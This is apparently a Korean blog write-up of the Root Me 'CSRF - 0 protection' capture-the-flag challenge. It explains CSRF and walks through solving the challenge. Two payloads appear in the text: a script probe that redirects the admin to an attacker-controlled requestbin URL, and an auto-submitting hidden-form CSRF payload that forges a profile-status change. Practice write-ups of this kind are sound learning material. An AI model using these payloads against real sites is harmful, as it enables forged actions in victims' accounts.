워게임/Root Me

[Root Me] CSRF - 0 protection - 웹해킹 / 크로스사이트요청위조

SecurityMan 2022. 3. 25. 09:00

 

35점짜리 CSRF 문제이다.

 

0 protection 이라고 써있는걸 보니 아무런 방어장치가 없는 형태의 문제인듯 하다.

 

CSRF는 XSS와 비슷하다. (XSS 문제 : https://hackingstudypad.tistory.com/48)

 

XSS는 Cross Site Script 의 약자고,

 

CSRF는 Cross Site Request Forgery의 약자이다.

 

XSS가 웹페이지에 악성 스크립트를 삽입하여 동작시키는 취약점이라고 하면,

 

CSRF는 조금 더 심화해서 스크립트나 태그를 이용해 사용자가 하지 않은 행동을

 

마치 사용자가 한것처럼 만들어버리는 것이다.(ex 비밀번호 변경)

 

반응형

 

문제페이지에 들어가면 로그인창이 나온다.

 

Register 버튼을 눌러서 먼저 회원가입을 해준다.

 

ID는 hello, 비밀번호는 world 로 설정해줬다.

 

회원가입을 하면 관리자가 계정의 상태를 업데이트 해준다고 기다리라고 한다.

 

무슨의민지 몰라서 로그인 한 뒤에 이것저것 눌러보았다.

 

Profile 페이지에 들어가보니

 

Status 라는 버튼이 비활성화 된 상태로 있고, Submit 버튼을 누르면

 

You're not an admin! 이라는 문구가 뜬다.

 

왠지 저 Status 버튼을 활성화 시켜서 눌러야할 듯 하다.

 

 

Private 페이지에 가면 administrator가 계정을 아직 승인안했다고 기다리라는 안내문구가 나온다.

 

아마도 이전 Profile 페이지의 Status 버튼을 눌러주면 계정이 활성화가 되는듯 하다.

 

Contact 페이지에 가면 administrator와 소통할수 있는 페이지가 나온다.

 

admin에게 메일을 보내면, admin이 읽어주는듯 하다.

 

한번 테스트로 메일을 보내보자.

 

일단 내 서버(공격자용 서버)가 하나 필요하다.

 

지난번 XSS문제를 풀 때 했던것 처럼 requestbin 페이지를 이용하면 된다.

(https://requestbin.net/)

 

requestbin 페이지에서 url을 하나 생성해놓고

 

<script>document.location.href="공격자 ip 주소/?a=hi"</script>

이렇게 내용을 넣어서 admin에게 메일을 보내본다.

 

만약 취약점이 존재한다면, admin이 메일을 읽는 순간 공격자 페이지로 접속할 것이다.

 

requestbin 페이지에서 잠시 기다리면 admin이 내 서버에 접속해서 흔적을 남긴걸 확인할 수 있다.

 

다시한번 Profile 페이지로 돌아와서 

 

f12를 눌러 개발자도구로 Status 버튼이 있는곳을 살펴보면

 

disabled 라고 되어있는걸 볼 수 있다.

 

개발자도구에서 disabled를 더블클릭하면 지울수 있다.

 

지우면 저렇게 활성화가 되고 체크를 할 수가 있다.

 

Submit 버튼을 눌렀을때, 어떻게 데이터가 전달되는지 확인해보자.

 

개발자 도구의 네트워크 탭을 이용하면 확인할 수 있다.

 

Submit 버튼을 누르면 서버로 username : hello / status : on 이라는 데이터가 전달된다.

 

여기까지 확인하면 다 한거나 마찬가지다.

 

1. admin에게 메일을 보낸다.

 

2. 메일 내용을 admin 이 읽는 즉시 내 계정의 status를 on 시키는 행위를 하도록 만든다.

 

3. 위 내용을 HTML, 스크립트를 이용해서 만든다.

 

<form id="autosubmit" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
<input type="hidden" name="username" value="hello">
<input type="hidden" name="status" value="on" >
</form>
<script>
 document.getElementById("autosubmit").submit();
</script>

 

이렇게 작성하면 된다.

 

form을 하나 만들어서 승인페이지로 post 패킷을 보내도록 한다.

 

post 패킷으로 보낼 데이터는 username = hello / status = on 이다.

 

form 에는 autosubmit 이라는 id를 부여하고,

 

스크립트를 이용해 document.getElementById 로 autosubmit을 가져와서 submit() 함수로 제출해버린다.

 

만약 admin 이 이 메일을 읽게되면, 내 계정은 자동으로 승인되어 활성화될것이다.

 

Contact 페이지에서 다시한번 위 내용을 admin에게 메일로 보낸다.

 

admin이 메일을 읽을때까지 잠시 기다린 뒤 Private 페이지로 가보면

 

내 계정이 자동승인 및 활성화되어 플래그를 확인할 수 있다.

반응형